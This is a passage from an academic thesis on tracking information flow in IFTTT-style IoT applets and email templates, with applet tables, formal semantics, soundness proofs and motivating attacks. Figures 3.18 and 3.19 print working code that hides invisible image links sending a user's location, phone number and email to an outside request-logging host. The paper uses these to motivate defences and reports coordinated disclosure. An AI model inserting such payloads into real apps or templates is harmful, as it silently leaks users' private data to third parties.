applet classi�cation of applets into exclusively private and exclusively public.
The latter caters to the longterm expansion plans on IoT platforms. For this,
we develop a formal framework for tracking information �ow in the presence
of URL-enriched output and show how to secure information �ows in IoT app
code by state-of-the-art information �ow tracking techniques. Our longterm
vision is that an information �ow control mechanism like ours can provide
automatic means to vet the security of applets before they are published.

Ethical considerations and coordinated disclosure No IFTTT, Zapier,
or Microsoft Flow users were attacked in our experiments, apart from our
test user accounts on the respective platforms. We ensured that insecure ap-
plets were not installed by anyone by making them private to a single user
account under our control. We have disclosed content ex�ltration vulnerabil-
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ities of this class to IFTTT, Zapier, and Microsoft. IFTTT has acknowledged
the design �aw on their platform and assigned it a “high” severity score. We
are in contact on the countermeasures from Section 2.5 and expect some of
them to be deployed short-term, while we are also open to help with the
longterm countermeasures from Section 2.6. Zapier relies on manual code
review before apps are published. They have acknowledged the problem and
agreed to a controlled experiment (in preparation) where we attempt pub-
lishing a zap evading Zapier’s code review by disguising insecure code as
benign. Microsoft is exploring ways to mitigate the problem. To encour-
age further research on securing IoT platforms, we will publicly release the
dataset annotated with security labels for triggers and actions [3].
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Appendix

Table 2.3: Popular third-party applets susceptible to privacy violations

Maker Title of applet on IFTTT Trigger service Action service Users
(May’17 – Aug’18)

djuiceman Tweet your Instagrams
as native photos on
Twitter

Instagram Twitter 500k – 540k

mcb Sync all your new iOS
Contacts to a Google
Spreadsheet

iOS Contacts Google Sheets 270k – 270k

pavelbinar Save photos you’re
tagged in on Facebook
to a Dropbox folder

Facebook Dropbox 160k – 160k

devin Back up photos you’re
tagged in on Facebook to
an iOS Photos album

Facebook iOs Photos 150k – 160k

rothgar Track your work hours
in Google Calendar

Location Google Calendar 150k – 160k

mckenziec Get an email whenever
a new Craigslist post
matches your search

Classi�eds Email 140k – 150k

danamerrick Press a button to track
work hours in Google
Drive

Button Widget Google Sheets 130k – 130k

rsms Automatically share
your Instagrams to
Facebook

Instagram Facebook 110k – 140k

ktavangari Log how much time
you spend at home/-
work/etc.

Location Google Sheet 99k – 100k

djuiceman Tweet your Facebook
status updates

Facebook Twitter 88k – 100k

79

https://ifttt.com/applets/103249p-tweet-your-instagrams-as-native-photos-on-twitter
https://ifttt.com/applets/102384p-sync-all-your-new-ios-contacts-to-a-google-spreadsheet
https://ifttt.com/applets/15p-save-photos-you-re-tagged-in-on-facebook-to-a-dropbox-folder
https://ifttt.com/applets/126727p-back-up-photos-you-re-tagged-in-on-facebook-to-an-ios-photos-album
https://ifttt.com/applets/133380p-track-your-work-hours-in-google-calendar
https://ifttt.com/applets/79p-get-an-email-whenever-a-new-craigslist-post-matches-your-search
https://ifttt.com/applets/227069p-press-a-button-to-track-work-hours-in-google-drive
https://ifttt.com/applets/507p-automatically-share-your-instagrams-to-facebook
https://ifttt.com/applets/133495p-log-how-much-time-you-spend-at-home-work-etc
https://ifttt.com/applets/1789p-tweet-your-facebook-status-updates


2. If This Then What? Controlling Flows in IoT Apps

Table 2.4: Popular third-party IoT applets susceptible to integrity/availabil-
ity violations

Maker Title of applet on IFTTT Trigger service Action service Users (May’17 –
Aug’18)

anticipate Turn your lights to red if
your Nest Protect detects
a carbon monoxide emer-
gency

Nest Protect Philipps Hue 4.8k – 6.3k

dmrudy Nest & Hue Smoke emer-
gency

Nest Protect Philipps Hue 1.1k – 1.7k

sharonwu0220 If Arlo detects motion, call
my phone

Arlo Phone Call 570 – 620

brandxe If Nest Protect detects
smoke send noti�cation to
X�nity X1 TVs

Nest Protect Comcast Labs 410 – 590

awgeorge If smoke emergency, set
lights to alert color

Nest Protect Philipps Hue 410 – 420

dmrudy Nest & Hue Co2 Emer-
gency alert

Nest Protect Philipps Hue 400 – 520

apurvjoshi Get a phone call when Nest
cam detects motion

Nest Cam Phone Call 400 – 870

meinuelzen Turn all HUE lights to red
color if smoke alarm emer-
gency in bedroom

Nest Protect Philipps Hue 390 – 410

skausky While I’m not home, let me
know if any motion is de-
tected in my house

WeMo Motion SMS 210 – 210

hotfirenet MyFox SMS alert Intrusion Myfox Home-
Control

Android SMS 190 – 240

80

https://ifttt.com/applets/184936p-turn-your-lights-to-red-if-your-nest-protect-detects-a-carbon-monoxide-emergency
https://ifttt.com/applets/196127p-nest-hue-smoke-emergency
https://ifttt.com/applets/416035p-if-arlo-detects-motion-call-my-phone
https://ifttt.com/applets/371483p-if-nest-protect-detects-smoke-send-notification-to-xfinity-x1-tvs
https://ifttt.com/applets/184906p-if-smoke-emergency-set-lights-to-alert-color
https://ifttt.com/applets/196125p-nest-hue-co2-emergency-alert
https://ifttt.com/applets/386864p-get-a-phone-call-when-nest-cam-detects-motion
https://ifttt.com/applets/184905p-turn-all-hue-lights-to-red-color-if-smoke-alarm-emergency-in-bedroom
https://ifttt.com/applets/67655p-while-i-m-not-home-let-me-know-if-any-motion-is-detected-in-my-house
https://ifttt.com/applets/184721p-myfox-sms-alert-intrusion


2.A. Semantic rules

2.A Semantic rules

Γ (s) = L Γ (b) = L,b ∈ B Γ (w) = H,w < B Γ (source) = H

Γ (e1 + e2) = Γ (e1)t Γ (e2) Γ (f (e)) = Γ (e) Γ (link(e)) = Γ (e)

Figure 2.15: Expression typing

Expression evaluation:

〈s,m,Γ 〉pc ⇓ s 〈l,m,Γ 〉pc ⇓m(l)
〈ei ,m,Γ 〉pc ⇓ si i = 1,2

〈e1 + e2,m,Γ 〉pc ⇓ s1 + s2

〈e,m,Γ 〉pc ⇓ s
〈f (e),m,Γ 〉pc ⇓ f̄ (s)

Command evaluation:
assign

pc v Γ (l)

〈l = e,m,S,Γ 〉pc→1 〈stop,m[l 7→m(e)],S,Γ [l 7→ pct Γ (e)]〉

seq
〈c1,m,S,Γ 〉pc→n1 〈stop,m1,S1,Γ1〉 〈c2,m1,S1,Γ1〉pc→n2 〈stop,m2,S2,Γ2〉

〈c1;c2,m,S,Γ 〉pc→n1+n2 〈c2,m2,S2,Γ2〉

if
m(e) , ''⇒ j = 1

m(e) = ''⇒ j = 2 〈cj ,m,S,Γ 〉pctΓ (e)→n 〈stop,m′ ,S ′ ,Γ ′〉
〈if (e) {c1} else {c2},m,S,Γ 〉pc→n 〈stop,m′ ,S ′ ,Γ ′〉

while-true
m(e) , '' 〈c,m,S,Γ 〉pctΓ (e)→n1 〈stop,m1,S1,Γ 〉
〈while (e) {c},m1,S1,Γ 〉pc→n2 〈stop,m2,S2,Γ 〉
〈while (e) {c},m,S,Γ 〉pc→n1+n2 〈stop,m2,S,Γ 〉

while-false
m(e) = ''

〈while (e) {c},m,S,Γ 〉pc→1 〈stop,m,S,Γ 〉

Figure 2.16: Monitor semantics (Remaining rules)
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2. If This Then What? Controlling Flows in IoT Apps

2.B Soundness

Lemma2.2 (Con�nement). If 〈c,m,S,Γ 〉H→∗ 〈stop,m′ ,S ′ ,Γ ′〉 then∀l. Γ ′(l) =
L⇒m(l) =m′(l).

Proof Γ ′(l) = L means that c contains no assignments to l. If c updated l,
then the label of l in Γ ′ would be H, according to rule assign. �

Lemma 2.3 (Helper). If 〈c[i1/x],m1,S,Γ 〉pc →∗ 〈stop,m′1,S1,Γ1〉 and
〈c[i2/x],m2,S,Γ 〉pc→∗ 〈stop,m′2,S2,Γ2〉 and m1 ∼Γ m2 then

(i) S1 = S2
(ii) Γ1 = Γ2, and
(iii) m′1 ∼Γ1 m

′
2

Proof By induction on the derivation 〈c[i1/x],m1,S〉pc →∗ 〈stop,m′1,S1〉
and case analysis on the last rule used in that derivation.
Case skip. Then Γ1 = Γ = Γ2, S1 = S[oj 7→ tt] = S2, and m′1 = m1 ∼Γ m2 =
m′2.
Case assign. Then S1 = S2 = S . We distinguish two cases:

1. Γ (e) = L

Then m1(e) =m2(e) and Γ1(l) = Γ2(l) = pc. Hence Γ1 = Γ2 and m′1 ∼Γ1 m
′
2.

2. Γ (e) = H

Then Γ1(l) = Γ2(l) = H and m1(e) ∼H m2(e). Hence Γ1 = Γ2 and m′1 ∼Γ1 m
′
2.

Case seq. Follows trivially from IH.
Case if. We distinguish two cases:

1. Γ (e) = L

Hence m1(e) = m2(e) and the same branch is taken in both executions.
The result follows from IH.

2. Γ (e) = H

Consider the more interesting case when the two executions follow di�er-
ent branches of the conditional, e.g., c1 executes in m1 and c2 executes in
m2.
From con�nement lemma (Lemma 2.2) it follows that no assignments to
low variables are performed in high contexts: ∀l. Γ1(l) = L ⇒ mi(l) =
m′i(l) and Γ1(l) = Γ2(l) = Γ (l). Also, no downgrades take place in high
contexts, thus Γ1 = Γ2 = Γ .
∀l. Γ (l) = L⇒m′1(l) ∼Γ1(l) m

′
2(l). Hence m′1 ∼Γ1 m

′
2.
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2.B. Soundness

From rule skip it follows that no changes to the skip set are performed in
high contexts. Hence S1 = S2 = S .

Case while. We distinguish two cases:
1. Γ (e) = L

Hencem1(e) =m2(e) and either rulewhile-true, orwhile-false is taken
in both executions. The result follows from i.h.

2. Γ (e) = H

Consider the more interesting case when c executes in m1 according to
while-true, and c executes in m2 according to while-false.
From rule while-false it follows that m2 =m and Γ2 = Γ .
From con�nement lemma (Lemma 2.2) it follows that no assignments of
low variables are performed in high contexts and no downgrades take
place in high contexts. Hence Γ1 = Γ . Thus Γ1 = Γ2 and m′1 ∼Γ m

′
2.

From rule skip it follows that no changes to the skip set are performed in
high contexts. Hence S1 = S2 = S .

Case sink. Then S1 = S2 = S . We distinguish two cases:
1. Γ (e) = L

Then m1(e) =m2(e) and Γ1(outj ) = Γ2(outj ) = pc.

2. Γ (e) = H

If the sinkj statement corresponds to a skipped action (S(oj ) = tt), then
the memories and typing environments remain unchanged, i.e. m′i = mi
and Γi = Γ , for i = 1,2. Hence Γ1 = Γ2 = Γ and m′1 ∼Γ1 m

′
2.

If the sinkj statement does not correspond to a skipped action (S(oj ) = ff ),
then m′i = mi[outj 7→ m(e)] and Γi = Γ [outj 7→ H], for i = 1,2. Then
Γ1 = Γ2 and, since m′1(outj ) ∼H m

′
2(outj ), m

′
1 ∼Γ1 m

′
2. �

Lemma 2.4. If 〈sink(e),m,S,Γ 〉H→∗ 〈stop,m′ ,S,Γ ′〉 then m′(out)|B = ∅.

Proof The only construct that allows the attacker to make any observations
is linkL, i.e. only blacklisted URLs inside the linkL construct can increase the
attacker’s knowledge. However, the monitor disallows evaluating linkL in
high contexts. �

Theorem 2.5 (Soundness). Given command c, input i1, memory m1, typing
environment Γ , skip set S , and URL blacklistB such that 〈c[i1/x],m1,S,Γ 〉pc→∗
〈stop,m′1,S1,Γ1〉, for any i2 andm2 such that i1 ≈ i2,m1 ∼Γ m2,m1(outj ) ∼B
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2. If This Then What? Controlling Flows in IoT Apps

m2(outj ) ∀1 ≤ j ≤ |S | such that S(oj ) = ff , and 〈c[i2/x],m2,S,Γ 〉pc →∗
〈stop,m′2,S2,Γ2〉, then m

′
1(outj ) ∼B m

′
2(outj ) for all 1 ≤ j ≤ |S1| such that

S1(oj ) = ff .
Proof By induction on the derivation 〈c[i1/x],m1,S,Γ 〉pc→∗ 〈stop,m′1,S1,Γ1〉
and case analysis on the last rule used in that derivation.

From Lemma 2.3, S1 = S2 = S ′ , Γ1 = Γ2 = Γ ′ , and m′1 ∼Γ ′ m
′
2.

Case skip. Then mi = m′i , for i = 1,2. Hence m′i(outj ) = mi(outj ), for
i = 1,2. Thus m′1(outj ) ∼B m

′
2(outj ) for all 1 ≤ j ≤ |S ′ |. S ′(oj ) = ff .

Case assign. S ′ = S and mi(outj ) = m′i(outj ) for all 1 ≤ j ≤ |S |. Hence
m′1(outj ) ∼B m

′
2(outj ) for all 1 ≤ j ≤ |S ′ | such that S ′(oj ) = ff .

Case seq. Follows from Lemma 3.5 and IH.
Case if. We distinguish two cases:

1. Γ (e) = L

Hence m1(e) = m2(e) and the same branch is taken in both executions.
The result follows from IH.

2. Γ (e) = H

Consider the more interesting case when the two executions follow di�er-
ent branches of the conditional, e.g., c1 executes in m1 and c2 in m2.
From Lemma 2.3 it follows that S ′ = S . From Lemma 2.4 it follows that
m′i(outj )|B = mi(outj )|B = ∅ for i = 1,2, and for all j such that outj was
rede�ned in either c1, or c2 and S ′(oj ) = ff . Hencem′1(outj ) ∼B m

′
2(outj )

for all 1 ≤ j ≤ |S ′ | such that outj was rede�ned and S ′(oj ) = ff . Thus
m′1 ∼B m

′
2 for all 1 ≤ j ≤ |S ′ | such that S ′(oj ) = ff .

Case while. We distinguish two cases:
1. Γ (e) = L

Hencem1(e) =m2(e) and the same branch is taken in both runs. The result
follows from IH.

2. Γ (e) = H

Consider the more interesting case when c executes in m1 according to
rule while-true, and c executes in m2 according to rule while-false.
From rulewhile-false it follows thatm′2 =m2. From Lemma 2.4 it follows
that m′1(outj )|B = m1(outj )|B = ∅ for all 1 ≤ j ≤ |S | such that outj was
rede�ned in c and S(oj ) = ff . Since m1 ∼B m2 for all 1 ≤ j ≤ |S | such
that S(oj ) = ff , it follows that m2(outj )|B = ∅ for all 1 ≤ j ≤ |S | such that
S(oj ) = ff .
Thus m′1 ∼B m

′
2 for all 1 ≤ j ≤ |S | such that S(oj ) = ff .
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Case sink. We distinguish two cases:
1. Γ (e) = L

Hence m1(e) =m2(e) and m1(e)|B =m2(e)|B. Thus m′1 ∼B m
′
2.

2. Γ (e) = H

We discuss the more interesting case when the sinkj statement does not
correspond to a skipped action, i.e. S(oj ) = ff .
From Lemma 2.4 it follows thatm′i(outj )|B = ∅ for i = 1,2. Hencem′1(outj ) ∼B
m′2(outj ) for all 1 ≤ j ≤ |S | such that S(oj ) = ff . �

Table 2.5: FlowIT results (The only false positive is reported in bold.)

Category
Applet Maker Presence Secure JSFlow LOC

Popular third party applets
Tweet your Instagrams as native
photos on Twitter djuiceman No Yes

No
Yes
No

3
4

Sync all your new iOS Contacts to
a Google Spreadsheet mcb No Yes

No
Yes
No

4
5

Save photos you’re tagged in on
Facebook to a Dropbox folder pavelbinar No Yes

No
Yes
No

3
4

Back up photos you’re tagged in on
Facebook to an iOS Photos album devin No Yes

No
Yes
No

3
4

Track your work hours in Google
Calendar rothgar Yes Yes

No
Yes
No

3
5

Get an email whenever a new
Craigslist post matches your
search

mckenziec No Yes
No

Yes
No

6
7

Press a button to track work hours
in Google Drive danamerrick Yes Yes

No
Yes
No

4
6

Automatically share your Insta-
grams to Facebook rsms No Yes

No
Yes
No

2
3

Log how much time you spend at
home/work/etc. ktavangari Yes Yes

No
Yes
No

5
6

Tweet your Facebook status up-
dates djuiceman No Yes

No
Yes
No

2
4

Post new Instagram photos to
Wordpress dorrian Yes Yes

No
Yes
No

3
4

Dictate a voice memo and email
yourself an .mp3 �le danfriedlander No Yes

No
Yes
No

3
4
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Category
Applet Maker Presence Secure JSFlow LOC

Sends email from sms with #ifttt
philbaumann No Yes

No
Yes
No

4
5

Forum examples
Send a noti�cation from IFTTT
with the result of a Google query hairfollicle12 No Yes

No
Yes
No

4
4

Send a noti�cation from IFTTT
whenever a Gmail message is re-
ceived that matches a search query hairfollicle12 No Yes

No
Yes
No

8
8

Calculate the duration of a Google
Calendar Event and create a new
iOS Calendar entry

hairfollicle12 No Yes
No

Yes
No

43
44

Create a Blogger entry from a Red-
dit post -- No Yes

No
Yes
No

8
9

Send yourself an email with your
location if it is Sunday between
0800-1200

-- No Yes
No

Yes
No

10
10

Send yourself a Slack noti�cation
and an Email if a Trello card is
added to a speci�c list

-- No Yes
No

Yes
No

9
12

Use Pinterest RSS to post to Face-
book -- No Yes

No
Yes
No

3
4

Paper examples
Automatically back up your new
iOS photos to Google Drive (Fig-
ure 2.2)

alexander No Yes
No

Yes
No

2
3

Keep a list of notes to email your-
self at the end of the day (Fig-
ure 2.3)

Google No Yes
No

Yes
No

2
3

Filter code in Example 2.1 -- No Yes
No

Yes
No

2
16

Get an email alert when your kids
come home and connect to Al-
mond (Example 2.2)

Almond Yes Yes
No

Yes
No

1
2

Filter code in Example 2.4 -- No Yes
No

Yes
No

2
8

Filter code in Example 2.5 -- No Yes
No

Yes
No

6
6

Filter code in Example 2.6 -- No Yes
No

Yes
No

6
6
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2.B. Soundness

Category
Applet Maker Presence Secure JSFlow LOC

Filter code in Example 2.7 -- No Yes
No

Yes
No

5
7

Filter code in Example 2.8 -- No Yes
No

Yes
No

5
5

Other examples
Filter code in Example 2.10 -- No Yes

No
No
No

8
8
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A
bstract. This paper focuses on tracking information �ow in

the presence of delayed output. We motivate the need to address
delayed output in the domains of IoT apps and email marketing. We
discuss the threat of privacy leaks via delayed output in code published
by malicious app makers on popular IoT app platforms. We discuss
the threat of privacy leaks via delayed output in non-malicious code
on popular platforms for email-driven marketing. We present security
characterizations of projected noninterference and projected weak secrecy
to capture information �ows in the presence of delayed output in ma-
licious and non-malicious code, respectively. We develop two security
type systems: for information �ow control in potentially malicious code
and for taint tracking in non-malicious code, engaging read and write
security types to soundly enforce projected noninterference and pro-
jected weak secrecy.





3.1 Introduction

Many services generate structured output in a markup language, which is
subsequently processed by a di�erent service. A common example is HTML
generated by a web server and later processed by browsers and email read-
ers. This setting opens up for insecure information �ows, where an attack is
planted in the markup by the server but not triggered until a client starts pro-
cessing the markup and, as a consequence, making web requests that might
leak information. This way, information is ex�ltrated via delayed output (web
request by the client), rather than via direct output (markup generated by the
server).

We motivate the need to address delayed output through HTML markup
by discussing two concrete scenarios: IoT apps (by IFTTT) and email cam-
paigns (by MailChimp).

IoT apps IoT apps help users manage their digital lives by connecting a
range of Internet-connected components from cyberphysical “things” (e.g.,
smart homes and �tness armbands) to online services (e.g., Google and Drop-
box) and social networks (e.g., Facebook and Twitter). Popular platforms in-
clude IFTTT, Zapier, and Microsoft Flow. In the following we will focus on
IFTTT as prime example of IoT app platform, while pointing out that Zapier
and Microsoft Flow share the same concerns.

IFTTT supports over 500 Internet-connected components and services [21]
with millions of users running billions of apps [20]. At the core of IFTTT are
applets, reactive apps that include triggers, actions, and �lter code. Fig. 3.17 il-
lustrates the architecture of an applet, exempli�ed by applet “Automatically
get an email every time you park your BMW with a map to where you’re
parked” [5]. It consists of trigger “Car is parked”, action “Send me an email”,
and �lter code to personalize the email.

By their interconnecting nature, IoT apps often receive input from sen-
sitive information sources, such as user location, �tness data, content of pri-
vate �les, or private feed from social networks. At the same time, apps have
capabilities for generating HTML markup.
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3. Tracking Information Flow via Delayed Output

Automatically get an email every time you park your BMW with
a map to where you’re parked.
applet title

Car is parked
trigger

filter & transform
if (you park your car) then
include location map URL into email body

end

Send me an email
action

Figure 3.17: IFTTT applet architecture. Illustration for applet in [5]

Privacy leaks Bastys et al. [1] discuss privacy leaks on IoT platforms, which
we use for our motivation. It turns out that a malicious app maker can encode
the private information as a parameter part of a URL linking to a controlled
server, as in https://attacker.com?userLocation and use it in markup gener-
ated by the app, for example, as a link to an invisible image in an email or
post on a social network. Once the markup is rendered by a client, a web re-
quest leaking the private information will be triggered. Section 3.2 reiterates
the attack in more detail, however, note for now that this attack requires the
attacker’s server to only record request parameters.

The attack above is an instance of ex�ltration via delayed output, where
the crafted URL can be seen as a “loaded gun” maliciously charged inside
an IoT app, but shot outside the IoT platform. While the attack requires a
client to process the markup in order to succeed, other URL-based attacks
have no such requirements [1]. For example, IFTTT applets like “Add a map
image of current location to Dropbox” [34] use the capability of adding a
�le from a provided URL. However, upload links can also be exploited for
data ex�ltration. A malicious applet maker can craft a URL as to encode
user location and pass it to a controlled server, while ensuring that the latter
provides expected response to Dropbox’s server. This attack requires no user
interaction in order to succeed because the link upload is done by Dropbox.

Email campaigns Platforms like MailChimp and SendinBlue help manage
email marketing campaigns. We will further focus on MailChimp as exam-
ple of email campaigner, while pointing out that our �ndings also apply to
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SendinBlue. MailChimp [22] provides a mechanism of templates for email
personalization, while creating rich HTML content. URLs in links play an
important role for tracking user engagement.

The scenario of MailChimp templates is similar to that of IoT apps that
send email noti�cations. Thus, the problem of leaking private data via de-
layed output in URLs also applies to MailChimp. However, while IFTTT ap-
plets can be written by endusers and are potentially malicious, MailChimp
templates are written by service providers and are non-malicious. In the for-
mer case, the interest of the service provider is to prevent malicious apps
from violating user privacy, while in the latter it is to prevent buggy tem-
plates from accidental leaks. Both considerations are especially important in
Europe, in light of EU’s General Data Protection Regulation (GDPR) [12] that
increases the signi�cance of using safeguards to ensure that personal data is
adequately protected. GDPR also includes requirements of transparency and
informed consent, also applicable to the scenarios in the paper.

Information flow tracking These scenarios motivate the need to track
information �ow in the presence of delayed output. We develop a formal
framework to reason about secure information �ow with delayed output and
design enforcement mechanisms for the malicious and non-malicious code
setting, respectively.

For the security condition, we set out to model value-sensitive sinks, i.e.
sinks whose visibility is sensitive to the values of the data transmitted. Our
framework is sensitive to the Internet domain values in URLs, enabling us
to model the e�ects of delayed output and distinguishing between web re-
quests to the attacker’s servers or trusted servers. We develop security char-
acterizations of projected noninterference and projected weak secrecy to cap-
ture information �ows in the presence of delayed output in malicious and
non-malicious code, respectively.

For the enforcement, we engage read and write types to track the privacy
of information by the former and the possibility of attacker-visible output by
the latter. This enables us to allow loading content (such as logo images) via
third-party URLs, but only as long as they do not encode sensitive informa-
tion.

We secure potentially malicious code by fully-�edged information �ow
control. In contrast, non-malicious code is unlikely [27] to contain arti�cial
information �ows like implicit �ows [9], via the control-�ow structure in
the program. Hence, we settle for taint tracking [32] for the non-malicious
setting, which only tracks (explicit) data �ows and ignores implicit �ows.

Our longterm vision is to apply information �ow control mechanisms
to IoT apps and emailing software to enhance the security of both types of
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3. Tracking Information Flow via Delayed Output

services by providing automatic means to vet the security of apps before they
are published, and of emails before they are sent.

Contributions The paper’s contributions are: (i) We explain privacy leaks
in IoT apps and emailing templates and discuss their impact (Section 3.2);
(ii) We motivate the need for a general model to track information �ow in
the presence of delayed output (Section 3.3); (iii) We design the character-
izations of projected noninterference and projected weak secrecy in a set-
ting with delayed output (Section 3.4); and (iv) We develop two type systems
with read and write security types and consider the cases of malicious and
non-malicious code to enforce the respective security conditions for a simple
language (Section 3.5). The proofs of the theorems are reported in Appen-
dices 3.A and 3.B.

3.2 Privacy leaks

This section shows how private data can be ex�ltrated via delayed output, as
leveraged by URLs in the markup generated by malicious IFTTT applets and
non-malicious (but buggy) MailChimp templates.

3.2.1 IFTTT

IFTTT �lters are JavaScript code snippets with APIs pertaining to the ser-
vices the applet uses. Filter code is security-critical for several reasons. While
the user’s view of an IFTTT applet is limited to the services the applet uses
(BMW Labs and Email in Fig. 3.17) and the triggers and actions it involves, the
user cannot inspect the �lter code. Moreover, while the triggers and actions
are not subject to change after the applet has been published, modi�cations
in the �lter code can be performed at any time by the applet maker, with no
user noti�cation.

Filter code cannot perform output by itself, but it can use the APIs to con-
�gure the output actions. Moreover, �lters are batch programs that generate
no intermediate output. Outputs corresponding to the applet’s actions take
place in a batch after the �lter code has terminated.

Privacy leak Consider an applet that sends an email noti�cation to a user
once the user enters or exits a location, similarly to the applet in Fig. 3.17.
Bastys et al. [1] show how an applet designed by a malicious applet maker
can ex�ltrate user location information to third parties, invisibly to its users.
When creating such an applet, the �lter code has access to APIs for reading
trigger data, including Location.enterOrExitRegionLocation.LocationMapUrl,
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3.2. Privacy leaks

1 var loc = encodeURIComponent(Location.enterOrExitRegionLocation.
LocationMapUrl);

2 var benign = '<img src=\"' + Location.enterOrExitRegionLocation.
LocationMapUrl + '\">';

3 var leak = '<img src=\"http://requestbin.fullcontact.com/11fz2sl1?'
+ loc + '\" style=\"width:0px;height:0px;\">';

4 Email.sendMeEmail.setBody('I ' + Location.enterOrExitRegionLocation.
EnteredOrExited + ' an area ' + benign + leak);

Figure 3.18: Leak by IFTTT applet

1 <img src="http://via.placeholder.com/350x150" alt="logo">
2 Hello *|FNAME|*!
3 <img style="width:0px;height:0px;"src="http://requestbin.fullcontact

.com/11fz2sl1?*|PHONE|*-*|EMAIL|*">

Figure 3.19: Leak by MailChimp template

which provides a URL for the location on Google Maps and Location.

enterOrExitRegionLocation.LocationMapImageUrl, which provides a URL for
a map image of the location. Filter APIs also include Email.sendMeEmail.

setBody() for customizing emails.
This setting is su�cient to demonstrate an information �ow attack via

delayed output. The data is ex�ltrated from a secret source (user location
URL) to a public sink (URL of a 0x0 pixel image that leads to an attacker-
viewable website). Fig. 3.18 displays the attack code. Upon viewing the email,
the users’ email client makes a request to the image URL, leaking the secret
information as part of the URL.

We have successfully tested the attack by creating a private applet and
having it ex�ltrate the location of a victim user. When the user opens a
noti�cation email (we used Gmail for demonstration) we can observe the
ex�ltrated location as part of a request to RequestBin (http://requestbin.
fullcontact.com), a test server for inspecting HTTP(s) requests. We have also
created Zapier and Microsoft Flow versions of the attack and veri�ed that
they succeed.

3.2.2 MailChimp

MailChimp templates enable personalizing emails. For example, tags *|FNAME
|*, *|PHONE|*, and *|EMAIL|* allow using the user’s �rst name, phone number,
and email address in an email message. While the templates are limited in
expressiveness, they provide capabilities for selecting and manipulating data,
thus opening up for non-trivial information �ows.
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MailChimp leak Fig. 3.19 displays a leaky template that ex�ltrates the user’s
phone number and email address to an attacker. We have veri�ed the leak
via email generated by this template with Gmail and other email readers that
load images by default. Upon opening the email, the user sees the displayed
logo image (legitimate use of an external image) and the personal greeting
(legitimate use of private information). However, invisibly to the user, Gmail
makes a web request to RequestBin that leaks the user’s phone number and
email. We have also created a SendinBlue version of the leak and veri�ed it
succeeds.

3.2.3 Impact

As foreshadowed earlier, several aspects raise concerns about possible impact
for this class of attacks. We will mainly focus on the impact of malicious
IFTTT applets, as the MailChimp setting is that of non-malicious templates,
and leaks like above are less likely to occur in their campaigns.

Firstly, IFTTT allows applets from anyone, ranging from o�cial vendors
and IFTTT itself to any users as long as they have an account, thriving on
the model of enduser programming. Secondly, the �lter code is not visible
to users, only the services used for sources and sinks. Thirdly, the problem-
atic combination of sensitive triggers and vulnerable (URL-enabled) actions
commonly occurs in the existing applets. A simple search reveals thousands
of such applets, some with thousands of installs. For example, the applet
by user mcb “Sync all your new iOS Contacts to a Google Spreadsheet” [23]
with sensitive access to iOS contacts has 270,000 installs. Fourthly, the leak
is unnoticeable to users (unless, they have network monitoring capabilities).
Fifthly, applet makers can modify �lter code in applets, with no user noti�-
cation. This opens up for building up user base with benign applets only to
stealthily switch to a malicious mode at the attacker’s command.

As pointed out earlier, location as a sensitive source and image link in
an email as a public sink represent merely an example in a large class of
attacks, as there is a wealth of private information (e.g., �tness data, content
of private �les, or private feed from social networks) that can be ex�ltrated
over a number of URL-enabled sinks.

Further, Bastys et al. [1] veri�ed that these attacks work with other sinks
than email. For example, they have successfully ex�ltrated information by
applets via Dropbox and Google Drive actions that allow uploading �les from
given links. As mentioned earlier, the ex�ltration is more immediate and re-
liable as there is no need to depend on any clients to process HTML markup.
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Other IoT platforms and email campaigners We veri�ed the HTML markup
attack for private apps on test accounts on Zapier and Microsoft Flow, and
for email templates on SendinBlue.

Ethical considerations and coordinated disclosure No users were at-
tacked in our experiments, apart from our test accounts on IFTTT, Zapier,
Microsoft Flow, MailChimp, and SendinBlue, or on any other service we used
for verifying the attacks. All vulnerabilities are by now subject to coordinated
disclosure with the a�ected vendors.

3.3 Tracking information flow via delayed output

The above motivates the need to track information �ow via delayed output.
The di�erence between an insecure vs. secure IFTTT applet is made by in-
cluding vs. omitting leak in the string concatenation on line 4 in Fig. 3.18.
We would like to allow image URLs to depend on secrets (as it is the case via
benign), but only as long as these URLs are not controlled by third parties.
At the same time, access control would be too restrictive. For example, it
would be too restrictive to block URLs to third-party domains outright, as
it is sometimes desirable to display images like logos. We allow loading lo-
gos via third-party URLs, but only as long as they do not encode sensitive
information.

Our scenarios call for a characterization beyond classical information
�ow with �xed sources and sinks. A classical condition of noninterference [7,
18] prevents information from secret sources to a�ect information sent on
public sinks. Noninterference typically relies on labeling sinks as either se-
cret or public. However, this is not a natural �t for our setting, where the
value sent on a sink determines its visibility to the attacker. In our case, if
the sink is labeled as secret, we will miss out to reject the insecure snippet
in Fig. 3.18. Further, if the sink is labeled as public, the secure version of the
snippet, when leak on line 4 is omitted, is also rejected! The reason is that
secret information (location) a�ects the URL of an image in an email, which
would be treated as public by labeling in classical noninterference. A popular
way to relax noninterference is by allowing information release, or declassi-
�cation [30]. Yet, declassi�cation provides little help for this scenario as the
goal is not to release secret data but to provide a faithful model of what the
attacker may observe.

This motivates projected security, allowing to express value-sensitive sinks,
i.e. sinks whose visibility is sensitive to the values of the data transmitted.
As such, these conditions are parametrized in the attacker view, as speci�ed
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by a projection of data values, hence the name. Projected security draws on
a line of work on partial information �ow [3, 8, 13, 15, 24, 29].

We set out to develop a framework for projected security that is compat-
ible with both potentially malicious and non-malicious code settings. While
noninterference [7, 14] is the baseline condition we draw on for the mali-
cious setting, weak secrecy [37] provides us with a starting point for the non-
malicious setting, where leaks via implicit �ows are ignored.

To soundly enforce projected security, we devise security enforcement
mechanisms via security types. We engage read and write types for the en-
forcement: read types to track the privacy of information, and write types to
track the possibility of attacker-visible output side e�ects.

It might be tempting to consider as an alternative a single type in a more
expressive label lattice like DLM [25]. However, our read and write types
are not duals. While the read types are information-�ow types, the write
types are invariant-based [4] integrity types, in contrast to information-�ow
integrity types [19]. We will guarantee that values labeled with sensitive
write types preserve the invariant of not being attacker-visible. In this sense,
our type system enforces a synergistic property, preventing sensitive read
data and non-sensitive write data to be combined. We will come back to type
non-duality in Section 3.5.

3.4 Security model

In this section we de�ne the security conditions of projected noninterference
and projected weak secrecy for capturing information �ow in the presence of
delayed output when assuming malicious and non-malicious code, respec-
tively. Before introducing them, we �rst describe the semantic model.

3.4.1 Semantic model

Fig. 3.20 displays a simple imperative language extended with a construct
for delayed output and APIs for sources and sinks. Sources source contain
APIs for reading private information, such as location, �tness data, or social
network feed. Sinks sink contain APIs for email composition, social network
posts, or documents editing. Expressions e consist of variables x, strings s
and concatenation operations on strings, sources, function calls f , and de-
layed output constructs dout. Commands c include assignments, condition-
als, loops, sequential composition, and sinks. A special variable o stores the
